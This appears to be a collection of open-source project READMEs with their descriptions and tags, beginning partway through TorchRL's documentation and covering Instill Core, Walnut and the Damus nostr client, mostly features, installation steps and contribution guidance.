NormalParamsWrapper( MLP(num_cells=[64, 64], out_features=32, activation=nn.ELU) ), in_keys=["hidden"], out_keys=["loc", "scale"], ) # Use a SafeProbabilisticTensorDictSequential to combine the SafeModule with a # SafeProbabilisticModule, indicating how to build the # torch.distribution.Distribution object and what to do with it policy_module = SafeProbabilisticTensorDictSequential( # stochastic policy policy_module, SafeProbabilisticModule( in_keys=["loc", "scale"], out_keys="action", distribution_class=TanhNormal, ), ) value_module = MLP( num_cells=[64, 64], out_features=1, activation=nn.ELU, ) # Wrap the policy and value funciton in a common module actor_value = ActorValueOperator(common_module, policy_module, value_module) # standalone policy from this standalone_policy = actor_value.get_policy_operator() ``` </details> - exploration [wrappers](https://github.com/pytorch/rl/blob/main/torchrl/modules/tensordict_module/exploration.py) and [modules](https://github.com/pytorch/rl/blob/main/torchrl/modules/models/exploration.py) to easily swap between exploration and exploitation⁽¹⁾: <details> <summary>Code</summary> ```python policy_explore = EGreedyWrapper(policy) with set_exploration_type(ExplorationType.RANDOM): tensordict = policy_explore(tensordict) # will use eps-greedy with set_exploration_type(ExplorationType.MODE): tensordict = policy_explore(tensordict) # will not use eps-greedy ``` </details> - A series of efficient [loss modules](https://github.com/pytorch/rl/tree/main/torchrl/objectives) and highly vectorized [functional return and advantage](https://github.com/pytorch/rl/blob/main/torchrl/objectives/value/functional.py) computation. <details> <summary>Code</summary> ### Loss modules ```python from torchrl.objectives import DQNLoss loss_module = DQNLoss(value_network=value_network, gamma=0.99) tensordict = replay_buffer.sample(batch_size) loss = loss_module(tensordict) ``` ### Advantage computation ```python from torchrl.objectives.value.functional import vec_td_lambda_return_estimate advantage = vec_td_lambda_return_estimate(gamma, lmbda, next_state_value, reward, done, terminated) ``` </details> - a generic [trainer class](https://github.com/pytorch/rl/blob/main/torchrl/trainers/trainers.py)⁽¹⁾ that executes the aforementioned training loop. Through a hooking mechanism, it also supports any logging or data transformation operation at any given time. - various [recipes](https://github.com/pytorch/rl/blob/main/torchrl/trainers/helpers/models.py) to build models that correspond to the environment being deployed. If you feel a feature is missing from the library, please submit an issue! If you would like to contribute to new features, check our [call for contributions](https://github.com/pytorch/rl/issues/509) and our [contribution](https://github.com/pytorch/rl/blob/main/CONTRIBUTING.md) page. ## Examples, tutorials and demos A series of [examples](https://github.com/pytorch/rl/blob/main/examples/) are provided with an illustrative purpose: - [DQN](https://github.com/pytorch/rl/blob/main/sota-implementations/dqn) - [DDPG](https://github.com/pytorch/rl/blob/main/sota-implementations/ddpg/ddpg.py) - [IQL](https://github.com/pytorch/rl/blob/main/sota-implementations/iql/iql_offline.py) - [CQL](https://github.com/pytorch/rl/blob/main/sota-implementations/cql/cql_offline.py) - [TD3](https://github.com/pytorch/rl/blob/main/sota-implementations/td3/td3.py) - [A2C](https://github.com/pytorch/rl/blob/main/examples/a2c_old/a2c.py) - [PPO](https://github.com/pytorch/rl/blob/main/sota-implementations/ppo/ppo.py) - [SAC](https://github.com/pytorch/rl/blob/main/sota-implementations/sac/sac.py) - [REDQ](https://github.com/pytorch/rl/blob/main/sota-implementations/redq/redq.py) - [Dreamer](https://github.com/pytorch/rl/blob/main/sota-implementations/dreamer/dreamer.py) - [Decision Transformers](https://github.com/pytorch/rl/blob/main/sota-implementations/decision_transformer) - [RLHF](https://github.com/pytorch/rl/blob/main/examples/rlhf) and many more to come! Check the [examples](https://github.com/pytorch/rl/blob/main/sota-implementations/) directory for more details about handling the various configuration settings. We also provide [tutorials and demos](https://pytorch.org/rl/stable#tutorials) that give a sense of what the library can do. ## Citation If you're using TorchRL, please refer to this BibTeX entry to cite this work: ``` @misc{bou2023torchrl, title={TorchRL: A data-driven decision-making library for PyTorch}, author={Albert Bou and Matteo Bettini and Sebastian Dittert and Vikash Kumar and Shagun Sodhani and Xiaomeng Yang and Gianni De Fabritiis and Vincent Moens}, year={2023}, eprint={2306.00577}, archivePrefix={arXiv}, primaryClass={cs.LG} } ``` ## Installation Create a conda environment where the packages will be installed. ``` conda create --name torch_rl python=3.9 conda activate torch_rl ``` **PyTorch** Depending on the use of functorch that you want to make, you may want to install the latest (nightly) PyTorch release or the latest stable version of PyTorch. See [here](https://pytorch.org/get-started/locally/) for a detailed list of commands, including `pip3` or other special installation instructions. **Torchrl** You can install the **latest stable release** by using ``` pip3 install torchrl ``` This should work on linux, Windows 10 and OsX (Intel or Silicon chips). On certain Windows machines (Windows 11), one should install the library locally (see below). The **nightly build** can be installed via ``` pip install torchrl-nightly ``` which we currently only ship for Linux and OsX (Intel) machines. Importantly, the nightly builds require the nightly builds of PyTorch too. To install extra dependencies, call ``` pip3 install "torchrl[atari,dm_control,gym_continuous,rendering,tests,utils,marl,checkpointing]" ``` or a subset of these. One may also desire to install the library locally. Three main reasons can motivate this: - the nightly/stable release isn't available for one's platform (eg, Windows 11, nightlies for Apple Silicon etc.); - contributing to the code; - install torchrl with a previous version of PyTorch (note that this should also be doable via a regular install followed by a downgrade to a previous pytorch version -- but the C++ binaries will not be available.) To install the library locally, start by cloning the repo: ``` git clone https://github.com/pytorch/rl ``` Go to the directory where you have cloned the torchrl repo and install it (after installing `ninja`) ``` cd /path/to/torchrl/ pip install ninja -U python setup.py develop ``` (unfortunately, `pip install -e .` will not work). On M1 machines, this should work out-of-the-box with the nightly build of PyTorch. If the generation of this artifact in MacOs M1 doesn't work correctly or in the execution the message `(mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64e'))` appears, then try ``` ARCHFLAGS="-arch arm64" python setup.py develop ``` To run a quick sanity check, leave that directory (e.g. by executing `cd ~/`) and try to import the library. ``` python -c "import torchrl" ``` This should not return any warning or error. **Optional dependencies** The following libraries can be installed depending on the usage one wants to make of torchrl: ``` # diverse pip3 install tqdm tensorboard "hydra-core>=1.1" hydra-submitit-launcher # rendering pip3 install moviepy # deepmind control suite pip3 install dm_control # gym, atari games pip3 install "gym[atari]" "gym[accept-rom-license]" pygame # tests pip3 install pytest pyyaml pytest-instafail # tensorboard pip3 install tensorboard # wandb pip3 install wandb ``` **Troubleshooting** If a `ModuleNotFoundError: No module named ‘torchrl._torchrl` errors occurs (or a warning indicating that the C++ binaries could not be loaded), it means that the C++ extensions were not installed or not found. - One common reason might be that you are trying to import torchrl from within the git repo location. The following code snippet should return an error if torchrl has not been installed in `develop` mode: ``` cd ~/path/to/rl/repo python -c 'from torchrl.envs.libs.gym import GymEnv' ``` If this is the case, consider executing torchrl from another location. - If you're not importing torchrl from within its repo location, it could be caused by a problem during the local installation. Check the log after the `python setup.py develop`. One common cause is a g++/C++ version discrepancy and/or a problem with the `ninja` library. - If the problem persists, feel free to open an issue on the topic in the repo, we'll make our best to help! - On **MacOs**, we recommend installing XCode first. With Apple Silicon M1 chips, make sure you are using the arm64-built python (e.g. [here](https://betterprogramming.pub/how-to-install-pytorch-on-apple-m1-series-512b3ad9bc6)). Running the following lines of code ``` wget https://raw.githubusercontent.com/pytorch/pytorch/master/torch/utils/collect_env.py python collect_env.py ``` should display ``` OS: macOS *** (arm64) ``` and not ``` OS: macOS **** (x86_64) ``` Versioning issues can cause error message of the type ```undefined symbol``` and such. For these, refer to the [versioning issues document](https://github.com/pytorch/rl/blob/main/knowledge_base/VERSIONING_ISSUES.md) for a complete explanation and proposed workarounds. ## Asking a question If you spot a bug in the library, please raise an issue in this repo. If you have a more generic question regarding RL in PyTorch, post it on the [PyTorch forum](https://discuss.pytorch.org/c/reinforcement-learning/6). ## Contributing Internal collaborations to torchrl are welcome! Feel free to fork, submit issues and PRs. You can checkout the detailed contribution guide [here](https://github.com/pytorch/rl/blob/main/CONTRIBUTING.md). As mentioned above, a list of open contributions can be found in [here](https://github.com/pytorch/rl/issues/509). Contributors are recommended to install [pre-commit hooks](https://pre-commit.com/) (using `pre-commit install`). pre-commit will check for linting related issues when the code is committed locally. You can disable th check by appending `-n` to your commit command: `git commit -m <commit message> -n` ## Disclaimer This library is released as a PyTorch beta feature. BC-breaking changes are likely to happen but they will be introduced with a deprecation warranty after a few release cycles. # License TorchRL is licensed under the MIT License. See [LICENSE](https://github.com/pytorch/rl/blob/main/LICENSE) for details.

A modular, primitive-first, python-first PyTorch library for Reinforcement Learning.

ai,control,decision-making,distributed-computing,machine-learning,marl,model-based-reinforcement-learning,multi-agent-reinforcement-learning,pytorch,reinforcement-learning

instill-ai/instill-core

# instill-core [](https://github.com/instill-ai/instill-core/actions/workflows/integration-test-latest.yml?branch=main&event=push) [](https://github.com/instill-ai/instill-core/releases) [](https://artifacthub.io/packages/helm/instill-ai/core) [](https://discord.gg/sevxWsqpGh) <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> [](#contributors-) <!-- ALL-CONTRIBUTORS-BADGE:END --> Explore **🔮 [Instill Core](https://github.com/instill-ai/instill-core)**, a full-stack AI infrastructure tool for data, model and pipeline orchestration, designed to streamline every aspect of building versatile AI-first applications. Accessing **🔮 Instill Core** is straightforward, whether you opt for **☁️ Instill Cloud** or self-hosting via the [instill-core](https://github.com/instill-ai/instill-core) repository. Please consult the [documentation](https://www.instill.tech/docs/latest/core/deployment/?utm_source=github&utm_medium=readme&utm_campaign=org_readme) for more details. <div align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/instill-ai/.github/main/img/instill-core-stack-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/instill-ai/.github/main/img/instill-core-stack-light.svg"> <img alt="🔮 Instill Core - The full-stack AI infrastructure tool" src="https://raw.githubusercontent.com/instill-ai/.github/main/img/instill-core-stack-light.svg" width=70%> </picture> </div> <br> <details> <summary><b>💧 Instill VDP</b> - Pipeline orchestration for unstructured data ETL</summary> <br> **💧 Instill VDP**, also known as **VDP (Versatile Data Pipeline)**, serves as a powerful pipeline orchestration tool tailored to address unstructured data ETL challenges. </details> <details> <summary><b>⚗️ Instill Model</b> - Model orchestration for MLOps/LLMOps</summary> <br> **⚗️ Instill Model** is an advanced MLOps/LLMOps platform focused on seamlessly model serving, fine-tuning, and monitoring for persistent performance for unstructured data ETL. </details> <details> <summary><b>💾 Instill Artifact</b> (coming soon) - Data orchestration for unified unstructured data representation</summary> <br> **💾 Instill Artifact** orchestrates unstructured data to transform documents (e.g., HTML, PDF, CSV, PPTX, DOC), images (e.g., JPG, PNG, TIFF), audio (e.g., WAV, MP3 ) and video (e.g., MP4, MOV) into a unified AI-ready format. It ensures your data is clean, curated, and ready for extracting insights and building your Knowledge Base. </details> <details> <summary><b>⚙️ Instill Component</b> - An extensible integration framework for <b>💧 Instill VDP</b></summary> <br> **⚙️ Instill Component** enhances **💧 Instill VDP**, unlocking limitless possibilities. Please visit the [component](https://github.com/instill-ai/component) repository for details. </details> ### ☁️ Instill Cloud Not quite into self-hosting? We've got you covered with **☁️ [Instill Cloud](https://instill.tech/?utm_source=github&utm_medium=readme&utm_campaign=instill-core)**. It's a fully managed public cloud service, providing you with access to all the features of **🔮 Instill Core** without the burden of infrastructure management. All you need to do is to one-click sign up to start building your AI-first applications. ## Prerequisites - **macOS or Linux** - **🔮 Instill Core** works on macOS or Linux, but does not support Windows yet. - **Docker and Docker Compose** - **🔮 Instill Core** requires Docker Engine `v25` or later and Docker Compose `v2` or later to run all services locally. Please install the latest stable [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/). ## Quick Start **Use stable release version** Execute the following commands to pull pre-built images with all the dependencies to launch: <!-- x-release-please-start-version --> ```bash $ git clone -b v0.34.0-beta https://github.com/instill-ai/instill-core.git && cd instill-core # Launch all services $ make all ``` <!-- x-release-please-end --> > [!NOTE] > We have restructured our project repositories. If you need to access **🔮 Instill Core** projects up to version `v0.13.0-beta`, please refer to the [instill-ai/deprecated-core](https://github.com/instill-ai/deprecated-core) repository. **Use the latest version for local development** Execute the following commands to build images with all the dependencies to launch: ```bash $ git clone https://github.com/instill-ai/instill-core.git && cd instill-core # Launch all services $ make latest PROFILE=all ``` > [!IMPORTANT] > Code in the main branch tracks under-development progress towards the next release and may not work as expected. If you are looking for a stable alpha version, please use [latest release](https://github.com/instill-ai/instill-core/releases). 🚀 That's it! Once all the services are up with health status, the UI is ready to go at http://localhost:3000. Please find the default login credentials in the [documentation](https://www.instill.tech/docs/latest/quickstart#self-hosted-instill-core). To shut down all running services: ``` $ make down ``` Explore the [documentation](https://www.instill.tech/docs/latest/core/deployment) to discover all available deployment options. ## Client Access To access **🔮 Instill Core** and **☁️ Instill Cloud**, you have a few options: - <b>📺 <a href="https://github.com/instill-ai/console" target="_blank">Instill Console</a></b> - <b>⌨️ <a href="https://github.com/instill-ai/cli" target="_blank">Instill CLI</a></b> - <b>📦 Instill SDK</b>: - [Python SDK](https://github.com/instill-ai/python-sdk) - [TypeScript SDK](https://github.com/instill-ai/typescript-sdk) - Stay tuned, as more SDKs are on the way! ## Documentation For comprehensive guidance and resources, explore our [documentation website](https://www.instill.tech/docs?utm_source=github&utm_medium=link&utm_campaign=instill-core) and delve into our [API reference](https://openapi.instill.tech). ## Contributing We welcome contributions from the community! Whether you're a developer, designer, writer, or user, there are multiple ways to contribute: ### Issue Guidelines We foster a friendly and inclusive environment for issue reporting. Before creating an issue, check if it already exists. Use clear language and provide reproducible steps for bugs. Accurately tag the issue (bug, improvement, question, etc.). ### Code Contributions Please refer to the [Contributing Guidelines](./.github/CONTRIBUTING.md) for more details. Your code-driven innovations are more than welcome! ## Community We are committed to providing a respectful and welcoming atmosphere for all contributors. Please review our [Code of Conduct](https://github.com/instill-ai/.github/blob/main/.github/CODE_OF_CONDUCT.md) to understand our standards. ### Efficient Triage Process We have implemented a streamlined [Issues Triage Process](.github/triage.md) aimed at swiftly categorizing new issues and pull requests (PRs), allowing us to take prompt and appropriate actions. ### Engage in Dynamic Discussions and Seek Support Head over to our [Discussions](https://github.com/orgs/instill-ai/discussions) for engaging conversations: - [General](https://github.com/orgs/instill-ai/discussions/categories/general): Chat about anything related to our projects. - [Polls](https://github.com/orgs/instill-ai/discussions/categories/polls): Participate in community polls. - [Q&A](https://github.com/orgs/instill-ai/discussions/categories/q-a): Seek help or ask questions; our community members and maintainers are here to assist. - [Show and Tell](https://github.com/orgs/instill-ai/discussions/categories/show-and-tell): Showcase projects you've created using our tools. Alternatively, you can also join our vibrant [Discord](https://discord.gg/sevxWsqpGh) community and direct your queries to the #ask-for-help channel. We're dedicated to supporting you every step of the way. ## Contributors ✨ Thanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)): <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/VibhorGits"><img src="https://avatars.githubusercontent.com/u/110928899?v=4" width="100px;" alt=""/><br />_{<b>Vibhor Bhatt</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/miguel-ortiz-marin"><img src="https://avatars.githubusercontent.com/u/89418691?v=4" width="100px;" alt=""/><br />_{<b>Miguel Ortiz</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/sajdakabir"><img src="https://avatars.githubusercontent.com/u/86569763?v=4" width="100px;" alt=""/><br />_{<b>Sajda Kabir</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/chenhunghan"><img src="https://avatars.githubusercontent.com/u/1474479?v=4" width="100px;" alt=""/><br />_{<b>Henry Chen</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/HariBhandari07"><img src="https://avatars.githubusercontent.com/u/34328907?v=4" width="100px;" alt=""/><br />_{<b>Hari Bhandari</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/geeksambhu"><img src="https://avatars.githubusercontent.com/u/9899283?v=4" width="100px;" alt=""/><br />_{<b>Shiva Gaire</b>}</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/syedzubeen"><img src="https://avatars.githubusercontent.com/u/14253061?v=4" width="100px;" alt=""/><br />_{<b>Zubeen</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/ShihChun-H"><img src="https://avatars.githubusercontent.com/u/143982976?v=4" width="100px;" alt=""/><br />_{<b>ShihChun-H</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="100px;" alt=""/><br />_{<b>Ikko Eltociear Ashimine</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/FarukhS52"><img src="https://avatars.githubusercontent.com/u/129654632?v=4" width="100px;" alt=""/><br />_{<b>Farookh Zaheer Siddiqui</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/diamondsea"><img src="https://avatars.githubusercontent.com/u/847589?v=4" width="100px;" alt=""/><br />_{<b>Brian Gallagher</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/hairyputtar"><img src="https://avatars.githubusercontent.com/u/148847552?v=4" width="100px;" alt=""/><br />_{<b>hairyputtar</b>}</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/dmarx"><img src="https://avatars.githubusercontent.com/u/1466881?v=4" width="100px;" alt=""/><br />_{<b>David Marx</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/DenizParlak"><img src="https://avatars.githubusercontent.com/u/11199794?v=4" width="100px;" alt=""/><br />_{<b>Deniz Parlak</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/bryan107"><img src="https://avatars.githubusercontent.com/u/8025085?v=4" width="100px;" alt=""/><br />_{<b>Po-Yu Chen</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/EiffelFly"><img src="https://avatars.githubusercontent.com/u/57251712?v=4" width="100px;" alt=""/><br />_{<b>Po Chun Chiu</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/Sarthak-instill"><img src="https://avatars.githubusercontent.com/u/134260133?v=4" width="100px;" alt=""/><br />_{<b>Sarthak</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/heiruwu"><img src="https://avatars.githubusercontent.com/u/5631010?v=4" width="100px;" alt=""/><br />_{<b>HR Wu</b>}</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/Phelan164"><img src="https://avatars.githubusercontent.com/u/2509508?v=4" width="100px;" alt=""/><br />_{<b>phelan</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/donch1989"><img src="https://avatars.githubusercontent.com/u/441005?v=4" width="100px;" alt=""/><br />_{<b>Chang, Hui-Tang</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/xiaofei-du"><img src="https://avatars.githubusercontent.com/u/66248476?v=4" width="100px;" alt=""/><br />_{<b>Xiaofei Du</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/pinglin"><img src="https://avatars.githubusercontent.com/u/628430?v=4" width="100px;" alt=""/><br />_{<b>Ping-Lin Chang</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/tonywang10101"><img src="https://avatars.githubusercontent.com/u/78333580?v=4" width="100px;" alt=""/><br />_{<b>Tony Wang</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/Pratikdate"><img src="https://avatars.githubusercontent.com/u/91735895?v=4" width="100px;" alt=""/><br />_{<b>Pratik date</b>}</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/jvallesm"><img src="https://avatars.githubusercontent.com/u/3977183?v=4" width="100px;" alt=""/><br />_{<b>Juan Vallés</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/iamnamananand996"><img src="https://avatars.githubusercontent.com/u/31537362?v=4" width="100px;" alt=""/><br />_{<b>Naman Anand</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/totuslink"><img src="https://avatars.githubusercontent.com/u/78023102?v=4" width="100px;" alt=""/><br />_{<b>totuslink</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/praharshjain"><img src="https://avatars.githubusercontent.com/u/12197448?v=4" width="100px;" alt=""/><br />_{<b>Praharsh Jain</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/Smartmind12"><img src="https://avatars.githubusercontent.com/u/91927689?v=4" width="100px;" alt=""/><br />_{<b>Utsav Paul</b>}</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/CaCaBlocker"><img src="https://avatars.githubusercontent.com/u/87882515?v=4" width="100px;" alt=""/><br />_{<b>CaCaBlocker</b>}</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/rsmelo92"><img src="https://avatars.githubusercontent.com/u/16295402?v=4" width="100px;" alt=""/><br />_{<b>Rafael Melo</b>}</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome! ## License See the [LICENSE](./LICENSE) file for licensing information.

🔮 Instill Core is a full-stack AI infrastructure tool for data, model and pipeline orchestration, designed to streamline every aspect of building versatile AI-first applications

unstructured-data,low-code,developer-tools,etl,no-code,open-source,hacktoberfest,ai,api,cli

StudioCherno/Walnut

# Walnut Walnut is a simple application framework built with Dear ImGui and designed to be used with Vulkan - basically this means you can seemlessly blend real-time Vulkan rendering with a great UI library to build desktop applications. The plan is to expand Walnut to include common utilities to make immediate-mode desktop apps and simple Vulkan applications. Currently supports Windows - with macOS and Linux support planned. Setup scripts support Visual Studio 2022 by default.  _<center>Forest Launcher - an application made with Walnut</center>_ ## Requirements - [Visual Studio 2022](https://visualstudio.com) (not strictly required, however included setup scripts only support this) - [Vulkan SDK](https://vulkan.lunarg.com/sdk/home#windows) (preferably a recent version) ## Getting Started Once you've cloned, run `scripts/Setup.bat` to generate Visual Studio 2022 solution/project files. Once you've opened the solution, you can run the WalnutApp project to see a basic example (code in `WalnutApp.cpp`). I recommend modifying that WalnutApp project to create your own application, as everything should be setup and ready to go. ### 3rd party libaries - [Dear ImGui](https://github.com/ocornut/imgui) - [GLFW](https://github.com/glfw/glfw) - [stb_image](https://github.com/nothings/stb) - [GLM](https://github.com/g-truc/glm) (included for convenience) ### Additional - Walnut uses the [Roboto](https://fonts.google.com/specimen/Roboto) font ([Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0))

Walnut is a simple application framework for Vulkan and Dear ImGui apps

damus-io/damus

[](https://github.com/damus-io/damus/actions/workflows/run-tests.yaml) # damus A twitter-like [nostr][nostr] client for iPhone, iPad and MacOS. <img src="./ss.png" width="50%" height="50%" /> [nostr]: https://github.com/fiatjaf/nostr ## How is Damus better than twitter? There are no toxic algorithms.\ You can send or receive zaps (satoshis) without asking for permission.\ [There is no central database](https://fiatjaf.com/nostr.html). Therefore, Damus is censorship resistant.\ There are no ads.\ You don't have to reveal sensitive personal information to sign up.\ No email is required. \ No phone number is required. \ Damus is free and open source software. \ There is no Big Tech moat. Therefore, seamless interoperability with thousands or millions of other nostr apps is possible, and is how [Damus and nostr win](https://www.youtube.com/watch?v=qTixqS-W1yo). ## If there are no ads, how is Damus funded? Damus offers a paid subscription 🟣 purple 🟣 https://damus.io/purple/. \ Initial benefits include a unique subscriber number, subscriber badge, and auto-translate powered by DeepL. Damus has also graciously received donations or grants from hundreds of Damus users, [Opensats](https://opensats.org/), and the [Human Rights Foundation](https://hrf.org/). ## Spec Compliance damus implements the following [Nostr Implementation Possibilities][nips] - [NIP-01: Basic protocol flow][nip01] - [NIP-04: Encrypted direct message][nip04] - [NIP-08: Mentions][nip08] - [NIP-10: Reply conventions][nip10] - [NIP-12: Generic tag queries (hashtags)][nip12] - [NIP-19: bech32-encoded entities][NIP19] - [NIP-21: nostr: URI scheme][NIP21] - [NIP-25: Reactions][NIP25] - [NIP-42: Authentication of clients to relays][nip42] - [NIP-56: Reporting][nip56] [nips]: https://github.com/nostr-protocol/nips [nip01]: https://github.com/nostr-protocol/nips/blob/master/01.md [nip04]: https://github.com/nostr-protocol/nips/blob/master/04.md [nip08]: https://github.com/nostr-protocol/nips/blob/master/08.md [nip10]: https://github.com/nostr-protocol/nips/blob/master/10.md [nip12]: https://github.com/nostr-protocol/nips/blob/master/12.md [nip19]: https://github.com/nostr-protocol/nips/blob/master/19.md [nip21]: https://github.com/nostr-protocol/nips/blob/master/21.md [nip25]: https://github.com/nostr-protocol/nips/blob/master/25.md [nip42]: https://github.com/nostr-protocol/nips/blob/master/42.md [nip56]: https://github.com/nostr-protocol/nips/blob/master/56.md ## Getting Started on Damus ### Damus iOS 1) Get the Damus app on the iOS App Store: https://apps.apple.com/ca/app/damus/id1628663131 #### ⚙️ Settings (gear icon, top right) - Relays: You can add more relays to send your notes to by tapping the "+". - Find more relays to add: https://nostr.info/relays/ - Public Key (pubkey): Your public, personal address and how people can find and tag you - Secret Key: Your *private* key unique to you. Never share your private key publicly and share with other clients at your own risk! - Save your keys somewhere safe - Log out #### 🏠 Personal Feed (home icon, bottom navigation) - Feed from everyone you follow - Can post notes by tapping the blue + button #### Notes (under 🏠 Personal Feed) - Sending a Note is easy and it goes to both your 🏠 Personal and 🔍 Global Feeds - To tag a user you must grab their pubkey: 1. Search their username in the search bar at the top of the 🔍 Global Feed and click their profile 2. Tap the 🔑 icon which will copy their pubkey to your clipboard 3. Go back to your 🏠 Personal Feed and tap the blue + button to compose your Note 4. Add @ directly followed by the pubkey (e.g., `@npub1xtscya34g58tk0z605fvr788k263gsu6cy9x0mhnm87echrgufzsevkk5s`) - You can also tap the ellipsis menu of a Note (three dots in top right of note) to grab their User ID aka pubkey or Note ID to link directly to a Note. - Currently you can't delete your Notes in the iOS app - Share images by pasting the image url which you can grab from nostr.build, imgbb, imgur, etc. (i.e., `https://i.ibb.co/2SHZbwm/alpha60.jpg`). Currently images only load for people you follow in the 🏠 Personal Feed. Images are not automatically loaded in 🔍 Global Feed - Engaging with Notes - 💬 Replying to a Note: Tap the chat icon underneath the note. This will show up in the users’ notifications and in your 🏠 Personal and 🔍 Global Feeds - ♺ Reposts: Tap the repost icon which will show up in your 🏠 Personal and 🔍 Global Feeds - ♡ Likes: Tap the heart icon. Users will not get a notification, and cannot see who liked their note (currently, web clients can see your pfp only) #### 💬 Encrypted DMs (chat app, bottom navigation) - Tap the chat icon and you'll notice there's nothing to see at first. Go to a user profile and tap the 💬 chat icon next to the follow button to begin a DM #### 🔍 Global Feed (magnify glass, bottom navigation) - View the Global Feed from all the relays you've added in ⚙️ Settings. Currently you can only search hashtags and user names and pubkeys #### 🔔 Notifications - All your notifications except 💬 DMs #### 👤 Change Your Profile (PFP) and Bio 1. Go to your Profile Page on Damus app 2. Tap on Edit button at the top 3. You will see text fields to update your information and bio 4. For PFP, insert a URL containing your image (support video: https://cdn.jb55.com/vid/pfp-editor.mp4) 5. Save #### ⚡️ Request Sats Paste an invoice from your favorite LN wallet. (Sats or Satoshis are the smallest denomination of bitcoin) **Alby (browser extension)** - Get the [Alby](https://getalby.com/) browser extension and create your Alby address [yourname]@getalby.com or connect your existing Lightning wallet - Convert your Damus secret key from nsec to hex at https://damus.io/key then go to Settings in Alby and under the Nostr section at the bottom of the page add your private hex key. You can also generate new address in the extension - Click the Alby extension > click Receive > enter the amount of Sats > click Get Invoice > click Copy > then paste into Damus - Note: On Damus Web it will appear as a string of characters but on Damus iOS it will appear as a clickable image **Zeus (mobile app)** - Download [Zeus](https://zeusln.app/) app (iOS, Google, APK) - Tap Get Started button > tap Connect a node > click on + sign (top right) > select Indhub > press Scan Lndhub QR > (from the Alby browser extension… click your account on the top left > click Manage Accounts > click 3-dot menu to right of your account and click Export Account to get a QR code then go back to Zeus app) > scan the QR Code and tap Save Node Config button - To create an invoice tap Lightning > tap Receive > type in amount > tap Create Invoice > tap Copy Invoice > paste into a new Damus note ## Contributing Contributors welcome! Start by examining known issues: https://github.com/damus-io/damus/issues. ### Mailing lists We have a few mailing lists that anyone can join to get involved in damus development: - [dev][dev-list] - development discussions - [patches][patches-list] - code submission and review - [product][product-list] - product discussions - [design][design-list] - design discussions [dev-list]: https://damus.io/list/dev [patches-list]: https://damus.io/list/patches [product-list]: https://damus.io/list/product [design-list]: https://damus.io/list/design ### Contributing See [docs/CONTRIBUTING.md](./docs/CONTRIBUTING.md) ### Privacy Your internet protocol (IP) address is exposed to the relays you connect to, and third party media hosters (e.g. nostr.build, imgur.com, giphy.com, youtube.com etc.) that render on Damus. If you want to improve your privacy, consider utilizing a service that masks your IP address (e.g. a VPN) from trackers online. The relay also learns which public keys you are requesting, meaning your public key will be tied to your IP address. It is public information which other profiles (npubs) you are exchanging DMs with. The content of the DMs is encrypted. ### Translations Translators welcome! Join the [Transifex][transifex] project. All user-facing strings must have a comment in order to provide context to translators. If a SwiftUI component has a `comment` parameter, use that. Otherwise, wrap your string with `NSLocalizedString` with the `comment` field populated. [transifex]: https://explore.transifex.com/damus/damus-ios/ ### Awards Damus lead dev and founder Will awards developers with satoshis! There may be nostr badges awarded for contributors in the future... :) First contributors: 1. @randymcmillan 2. @jcarucci27 ### git log bot npub1fjtdwclt9lspjy8huu3qklr7eklp5uq90u6yh8mec290pqxraccqlufnas

iOS nostr client

nostr,bitcoin,freedom,lightning-network

virginiakm1988/ML2022-Spring

